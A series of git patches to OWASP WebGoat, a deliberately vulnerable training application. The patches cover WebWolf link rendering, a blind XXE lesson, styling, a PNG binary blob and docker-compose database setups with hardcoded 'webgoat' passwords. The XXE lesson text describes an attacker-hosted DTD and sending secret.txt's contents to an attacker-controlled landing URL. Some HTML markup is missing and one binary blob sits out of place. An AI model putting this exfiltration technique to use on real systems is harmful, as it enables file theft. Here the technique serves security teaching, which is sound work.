a/pom.xml b/pom.xml index 9c45b3e677..170e98a187 100644 --- a/pom.xml +++ b/pom.xml @@ -20,7 +20,7 @@ org.springframework.boot spring-boot-starter-parent - 1.5.9.RELEASE + 1.5.12.RELEASE From 11ffa5702c1d6cafdbfd6fdb791008fbbe1b9283 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 29 Apr 2018 15:02:19 +0200 Subject: [PATCH 29/76] Added "WebWolf" enabled to the lessons which support the usage of WebWolf --- .../src/main/resources/static/css/main.css | 13 +++++++++++++ .../main/resources/html/WebWolfIntroduction.html | 2 ++ .../src/main/resources/images/wolf-enabled.png | Bin 0 -> 6828 bytes .../lessonPlans/en/IntroductionWebWolf.adoc | 14 ++++++++++++-- .../xxe/src/main/resources/html/XXE.html | 1 + .../src/main/resources/images/wolf-enabled.png | Bin 0 -> 6828 bytes 6 files changed, 28 insertions(+), 2 deletions(-) create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/images/wolf-enabled.png create mode 100644 webgoat-lessons/xxe/src/main/resources/images/wolf-enabled.png diff --git a/webgoat-container/src/main/resources/static/css/main.css b/webgoat-container/src/main/resources/static/css/main.css index d9347acb8d..59f674616d 100644 --- a/webgoat-container/src/main/resources/static/css/main.css +++ b/webgoat-container/src/main/resources/static/css/main.css @@ -1066,6 +1066,7 @@ span.show-next-page, span.show-prev-page { /* ATTACK DISPLAY */ .attack-container { + position: relative; background-color: #f1f1f1; border: 2px solid #a66; border-radius: 12px; @@ -1150,4 +1151,16 @@ div.captured-flag { height: 117px; width: 1268px; margin-bottom: 20px; +} + +#content { + position:relative; +} + +.webwolf-enabled { + position:absolute; + top: 10px; + right: 25px; + width: 42px; + height: 47px; } \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html b/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html index fc443b7c70..70586184cb 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html @@ -12,6 +12,7 @@

+
+
Click here to reset your password diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/images/wolf-enabled.png b/webgoat-lessons/webwolf-introduction/src/main/resources/images/wolf-enabled.png new file mode 100644 index 0000000000000000000000000000000000000000..d343c07d9a9cd66a32b4fcccd4b05f16dbcd7cdd GIT binary patch literal 6828 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 a()j;X%($zc4fA;b000024 days ago
+
_y=GL0k3IWQnui7;M*1aU4P(T*$OLQ7%&@I-Sdf6z-a{BtL;ev zh67KVVO}{#n!j~II}1^r0^9@i^3aeSfC-FZ8%FUMkJGGet7_?FMlm~7`1k(@%y;$W zwGl;i32=w0w6D|x7Xvd0sMq#YmDB(~2L?y@%)}Ny4@FkD6CMf%Tn${3GXvibj3;2d zwzaC_Qs6rlpSup(FC7a^LAHz9L-a+lnhHgAv013dBfkPp))m95A#A_OhMvH??uUW_ zCjwXJ*w82D_@$sk;~?O6+&Vs3t$5dz5!D{ZN=fIO8@vgaM8MtJ_6kdX#4D$#!)tCp z7Q~v}2}>Mj=aZf%MbfMSh7<6Lw!y;D4)`;$pX2Mk4(#N*o4dR~q5|j&{KU9lDaGQ9 z1VmL5mc#L5zzE>$1$+Rbfm5{|7K*{Z_Y=DIBG(hMYe~j4-3P8B$o-sA5q1Y21-41( z`hRmLtbikcQ63xfdBo}Vam&y52L4;yWbQc$IiT1l!S8S=ESTo8G2Z~bK)^M?A!clC zbGrC^<3z0FbFTbLWUng8XV`3B;tqrrFpBJsf0UyMm`uQOQ`aT}Zbuv~=S93$H{f(_ zqq$>W;5lRyIB8xW#xatXJ=PSDjrs!u9&2Ujx&$~BSx%3_+1gHX#Y8jwPwPa*Q*l0A zyF~--h6LL1bzXI8$nRGpfoP(z8$lvVw2FHU1!m&-_*GuY9DL7kZNFX*1Ie?n_VTP=j{!dl z5mg=VQ`{V9*-hK8mkb3C$h)xmc~qxWz!_yu{C?e`(fex~_L8q;{Qd1+2+Jq;o(n=_ z0|pEMu5|c)-L(ySM-SxWcb0T=AuL~_EG_}ZTZ`N$%LRcdg>P18^1}Urw$&>9Jg-!C3?x@*h!& zAeJNNrk)M?+;Yl$)n8VDIFFNsFP$+x8|{x1l)FXVF#NDS^I<8Lg{_Ur}2 z@XHb0Nsskc2kJg6^e;Ax>q+x3ZvbB_bKNU}Aqg9Bv9@V1xRkV#&8H}=1r925qX|bH zCazURT=yg16^$W(dq7GP+4RFIKGUy)&fTp@KDI# zbVhsu(+I&fPuq2-)Bx9mcY##5k1s6o%X`E@W$KW;RO8Bst6b)ftASlpFy2dg7Atd( z13u?ry`1z|0Ka!sp?cs>0?V#FU^H^nJ`En!cAY5=z;sXR=1f@k6FneHn7HnWEG~)l z_tO-I1+%qnXUawR;bqYp-Q5UF78ZWzuwpjix}NloalAyJ^Q#Qm3BNOh_HrXE;TFf0 zD~W4d1-;ebq#H!@C)&0%WjcQ6vhGTZQxq*D;Xa8Z?{Y1!I|(>0L{vS1TT?VzBa-<~ z$%fJ7BlKKPH^LGwPoRP&ah=r0?{5V9rf9J1&CplLX2BvaqlF#Z2`k`1XeE?$d`kOV zUvKe!X96drXsowME}xQ8o@v0qoYb{PoW|Z77Xi=UeuK8w^cIIA@c@UWEGmFY30SS| zI};8AF33@Rd)t1n^{~B<^A@A%3XDvs!UKUZz@DV*ANB}vA&*B-)~v*)FUcl}OM>Ts zCtS_3w(PQBD$s*ng&a|7(l(w6R}gd4H3O{o*xDAB`1DPHLJXUlkf^$PL?jyq1Cw)D z@15NXOT@JZ3GkBlxBPSh?$!34>4HU_3Tta|%|aG4^2#rfoW)8u^Z~}_wC??}4BT0n zPhPq4Y(FbspMO%_V!qYAg|onHDDUDRGODY`U_wp0qeDG zXG&{_UzZs%jQ|E9@gg6>&y1pbCo8PYJ=e*&^MX%mq2jw{u|h?aJtZ&kcYr&AvB+xM z#cX|g`x+$ZkZ*k2=0kRSNCBTlj$G{OnGqV1w5q?;_UsMaOj#N-+BpM4LW^h1v%qK4 z5tfLnGm@X`Jp4FTeLpaTfH$-)=Zf*bU8J95ILZj97w}#>!rCmbk-&9iml^RjU}|V2 zUBy?%0{7y7gyR#bn{_o3$<*VQnq4UP!FCqk#jlPiwj! zIehs5aBpZ{VkHk8g)DsKEy2aH5E8XHHDPTnvU*?-B#iK2U>C$Czxx&j-iWN~EjRO~ z7lDPq0^_%+7!J9pa$`% zXf8;(P9Ld~HKj!C%>^ot>0?#0qze+hySZTHJ$g5gcdZlxMUlC~;|z>_t6QIi(^i0KF{52`6u&n6WX^fW!vk){jp zr0qh9NjKn)Y7|y`WEJl;57ybG%qIK~X`4np$VDoWPunpa`fB0(lEM^D)* z1?#c0@Vux&mc_3GKCRDB@sth7w#`P{UL#G$An7N6tD;gor#&%NozoIlFC;J19Aptf zQSyLwY{xX_SO){Mv5e2AC>dfM!zAe*>kQLNsi+j+nGf6!tli?@R{L1dbATrFT#uG~ zlu4%D_62?gyc4I#N@`Vb5-vaEFRY zQQQjaYe*O5> zQb1-SL5`deWrKJKvKg#-i*s#MWgscEiYTxxjS$T5`s%@m|VHl2W8g)Z|cK{TxQ0w`A)zuRA7meM@b>+*>VhV6R;SDCl7K7-BWdf$}(XMHHv<)RFq zTP@;#_NYDwnvtxbUa>+SigkGvKk_Dz2If`yvl!%)sJf{*Vi#YWmTQsNkE^TnIqa0S zvBS`baC}blq#jMc4}m>_KUU#$_{b+=^;BKN<_P@qT6q;X1egMRP-Uxv-Uw?4)kSRT zfnz`%tdRw4A;aIuq^<-UqCCO z7I@6_dw9V&VST82aK->&R6+0Ud5`P10r-b+!dkC-aLSZ|-q))h*X`vj7Guf@YprU* zDdS1@j8;}OdR(_fS$t_ZVQo+?IJfsD1-!4-9@lNYkHT7`T5!%u$a1y{D;*a4D6Dm= z1LxEsQG#k!SgG)w_E^=!0l?V>x*u2V?U>hG z=&P{O7z(~$#R68(7NHrK)#BfpfG1;KcfPN}N`u8fyDDr<|E4(mgmLFsPt*F*j-@f} zyUbT%bxENPPgL=oLJ?*sFcn#twFiFifto#Fl8j%-FwB3&<&hbh)dsBMqc4BQjaTh&=!_kA)xj$ck# zNd}tyUnC99;EeA5ZQwiR|7QVTAieWv_Y`bcYr7vekG5C-;zYK3&WP4qVf9Yvdp|^u za}Ot*n87`N1e`$Y zn~yV*06IzXM~dfz+28RnkeE}11-=_Bsmv53&Gm04-Do{4DIa&D9g^ujsXAOm@%WpC z9sU$@y*lFMUmobQv3e%du(r%}@lcAQT1w^1w>^<1;3VpCV!=dJ3#_uR!;~_^KwJC1 z?YqJDNuW_}Y|+IpNl8@CAxW{Lu)kT%a9x)@3nr{REo`u!@U5J$#IWzZzPxSPB8fy@ zKW6jBT|Ma}1A7n&{QqXe&pic9bzGPAc$8e)5uda8%)^9duHP?4eZ1cvywLHRdN~qm zxx}YZ=&5cYo`Y`<@QB0uETDMYX<>(x%Um-~V)Bu`8|+5Mjr{Z$*B_U#sBXZ`QvLuW zw~~uGO)r?JY7h_dC^lF__=a-t820@L@!0U1-#TpMb6Yg>j==aoW1kZaI0ln~*(`q<7nQiTU}4f{AJ%;+YeLSxDriFbMUe~ z63>Ozo8-eBq{&2!&&)3K`@X=C76esF&s6&pb6op9< z|9+VnI)-t0jQYF-yqE{W*?JeBO)`$FTb9+pp()$rKHRu;6`|L%ak{;^g6sZSOi0J7huQ5h%pJ07gB1h=wq--Y_%eXyF1L#m?y;bSO6h=p2OpH1`nI{7-jPS?2cT#;_yBm!CiKaw5dZ<<3!zGEcdbpnsXB# z5&R~PUH?yM+mqld+#fAzS+2*Agb5uZ4vnLfsX1v2!;yWcsP{Lh%ys+6wBOhAD6B4K zVpzI~CeyW-hB1pt&PC}=&up=sS$s(1e)G^c{%CPuuT^l}Gh^EB_`I$H)gaji$FOyr zf(FYsSh?~JexF;K46MMtTh=I#@41)dv%a;0YyTvs?WR#Mh9n@WMHw$rR7!8tbGy9v zH%T_~a2!5wc~6zhA>-QduA&L+2*(ZUe$vUu<&yJoyCHs?r}ufH<^5E$^7#bu54IMH zvm7?4Ysqg`$B{^=Y8Q5BB3^_dpM=#&Wy|2db}%2W^UYv!*8g32Bdh{WL1IeeHT%X~ zBd*1c=CiJX;JBpG;xh{<@68VJy=dx*@5|{GH^qF@%tIm|6@~3_7bnEGl`fmp!j+zn zY9M~#)?wja!>$eA9#@_d`FuWh}=I4;#l|S3JXxzw7KBfGri8vRs@!|WjrJXhuWopq7 z@y1^#KXEi%GMadKp4JdOOG=VN3D7y;;`$wt6X-U!+Per1W&qLlX2wvx9EG?n6=BnO zWQ2OJ2Rd1N$1Rq2I;9AWB}(qBStysq5Y`4@cTeu4KH^KlChF2;OFR9jC~x6P-&%uI zSJWVRy5jgy`VucA%A(9=mUGjpb!|GGDs_;IL3iXBMV!zCml7|VybGcnN_^OIUTW(O zwh;IMaAaQR^iwOm+0m+}tvD#=e5+LMCYw{$?SXX>>bZ_^$LbnnKXiA*srx4E@)@^v z6z6H+8|34}1R%TWmF&aRs+K;+)wnxileSBk&2so{=7n-LFw@lgJ>spFMlG8VPobf{ zH;!Lba5HzRhT2>Jc-~Qi`8Se;JZU}&e3y7`M?RD$-~l{Nr&>u+k@HkTZL*)EAz`z5 z^Cy)QVkqLu)Rc2UwUzyGGO~B(4V5Gu+gJ4y$_=Anc1(iCd3Ix%BoiAKV24&Ew-zUE3eKnM2SSAd&*=MR`v+dae3aJmW zk8>BW)C?Kc5I^tLKQidyyOQ6;3~4{}dyykgk&@!sM7JroDY=Q_96alSq^+5R1QBiR zMbu5(U*Q=8{1x~gDU>V09=RLoLgGbFaN?}DD)#M{L(xGs^0}T2}$Gm zVhjVf_2%jc9EbP@&Y}F?pO*ZUb%^tDY${C<=3CC99nCWH`M^EETMms|T9R!Cd=|I@ z34yjr8(vkERkRW%D(WWKVk$ehxDj#OT$++_wnvU1^gtr?4n*RH4>tcza%j37$v!fG zV#Z2T%CiKCx$%LGu=*peE|oGJ2_0=qFSCd+(3I|o*GD&G|ERO+Eqan{LUBc@ggcM} zz>)cq#p+4ay^?w)D99Y#d4Frsl2$p~Mp!?v_@ZxCcsHAGRO a()j;X%($zc4fA;b0000 Date: Tue, 1 May 2018 21:54:28 +0200 Subject: [PATCH 30/76] XXE lesson not showing correct link for WebWolf --- .../org/owasp/webgoat/asciidoc/WebWolfMacro.java | 14 ++++++++++++++ .../java/org/owasp/webgoat/users/UserTracker.java | 1 + .../main/resources/lessonPlans/en/XXE_blind.adoc | 11 +++++------ .../lessonPlans/en/XXE_blind_assignment.adoc | 2 +- 4 files changed, 21 insertions(+), 7 deletions(-) diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java index 88b2ab5fbb..7f81d63d18 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java @@ -10,6 +10,12 @@ import javax.servlet.http.HttpServletRequest; import java.util.Map; +/** + * Usage in asciidoc: + *

+ * webWolfLink:here[] will display a href with here as text + * webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing + */ public class WebWolfMacro extends InlineMacroProcessor { public WebWolfMacro(String macroName, Map config) { @@ -20,9 +26,17 @@ public WebWolfMacro(String macroName, Map config) { protected String process(AbstractBlock parent, String target, Map attributes) { Environment env = EnvironmentExposure.getEnv(); String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port")); + + if (displayCompleteLinkNoFormatting(attributes)) { + return hostname + (hostname.endsWith("/") ? "" : "/") + target; + } return "" + target + ""; } + private boolean displayCompleteLinkNoFormatting(Map attributes) { + return attributes.values().stream().filter(a -> a.equals("noLink")).findFirst().isPresent(); + } + /** * Look at the remote address from received from the browser first. This way it will also work if you run * the browser in a Docker container and WebGoat on your local machine. diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java index 3cc8ce19c9..1cc4920ea3 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java @@ -52,6 +52,7 @@ public class UserTracker { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; + @Column(name = "username") private String user; @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private Set lessonTrackers = Sets.newHashSet(); diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc index c8114bc1cb..72c9e4886c 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc @@ -1,4 +1,3 @@ - == Blind XXE In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page. @@ -6,25 +5,25 @@ Or the resource you are trying to read contains illegal XML character which caus Let's start with an example, in this case we reference an external DTD which we control on our own server. As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example -use this server to ping it using `http://localhost:8081/ping?text=HelloWorld +use this server to ping it using `webWolfLink:landing[noLink]` How do we use this endpoint to verify whether we can perform XXE? We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents: -[source] +[source, subs="macros, specialcharacters"] ---- - + ---- Now submit the form change the xml using to: -[source] +[source, subs="macros, specialcharacters"] ---- + %remote; ]> diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc index 2faeff57ba..dd5ae4194c 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc @@ -18,6 +18,6 @@ DTD. |`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |=== -Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]` +Try to upload this file using WebWolf landing page for example: `webWolfLink:landing?text=contents_file[noLink]` (NOTE: this endpoint is under your full control) Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson. \ No newline at end of file From 0e160c19f5b047c4f416548dacca74852c5eb166 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 1 May 2018 21:58:43 +0200 Subject: [PATCH 31/76] Docker-compose for postgres and hsqldb --- docker-compose-postgres.yml | 35 +++++++++++++++++++++++++++++++++++ docker-compose.yml | 29 +++++++++++++++++++++-------- webgoat-server/pom.xml | 5 +++++ webwolf/pom.xml | 5 +++++ 4 files changed, 66 insertions(+), 8 deletions(-) create mode 100644 docker-compose-postgres.yml diff --git a/docker-compose-postgres.yml b/docker-compose-postgres.yml new file mode 100644 index 0000000000..7ecc68403b --- /dev/null +++ b/docker-compose-postgres.yml @@ -0,0 +1,35 @@ +version: '2.0' + +services: + webgoat: + image: webgoat/webgoat-8.0 + user: webgoat + environment: + - WEBWOLF_HOST=webwolf + - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat + - spring.datasource.username=webgoat + - spring.datasource.password=webgoat + - spring.datasource.driver-class-name=org.postgresql.Driver + - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect + ports: + - "8080:8080" + webwolf: + image: webgoat/webwolf + environment: + - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat + - spring.datasource.username=webgoat + - spring.datasource.password=webgoat + - spring.datasource.driver-class-name=org.postgresql.Driver + - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect + ports: + - "8081:8081" + db: + container_name: webgoat_db + image: postgres:latest + environment: + - POSTGRES_PASSWORD=webgoat + - POSTGRES_USER=webgoat + - POSTGRES_DB=webgoat + ports: + - "5432:5432" + diff --git a/docker-compose.yml b/docker-compose.yml index 9b07694071..8d2bcdee39 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,15 +1,28 @@ -version: '2.0' +version: '2.1' services: webgoat: - build: webgoat-server/ - command: "sh /home/webgoat/start.sh" + image: webgoat/webgoat-8.0 + environment: + - WEBWOLF_HOST=webwolf + - spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat ports: - "8080:8080" - webwolf: - build: webwolf/ - command: "sh /home/webwolf/start.sh" depends_on: - - webgoat + - db + webwolf: + image: webgoat/webwolf + environment: + - spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat ports: - - "8081:8081" \ No newline at end of file + - "8081:8081" + depends_on: + - db + db: + image: blacklabelops/hsqldb + container_name: webgoat_db + environment: + - HSQLDB_TRACE=false + - HSQLDB_SILENT=true + - HSQLDB_DATABASE_NAME=webgoat + - HSQLDB_DATABASE_ALIAS=webgoat diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index e0449ece43..483c3a0b61 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -198,6 +198,11 @@ spring-boot-devtools true + + org.postgresql + postgresql + 42.2.2 + diff --git a/webwolf/pom.xml b/webwolf/pom.xml index 2b606b9520..ee2728a35e 100644 --- a/webwolf/pom.xml +++ b/webwolf/pom.xml @@ -78,6 +78,11 @@ hsqldb ${hsqldb.version} + + org.postgresql + postgresql + 42.2.2 + From 6b4a488c8cbc290a3c0b381013b0a300f2eb637e Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 1 May 2018 22:00:07 +0200 Subject: [PATCH 32/76] Users shared now between WebGoat and WebWolf by starting HSQLDB as standalone database --- pom.xml | 2 +- .../src/main/resources/application.properties | 5 +- 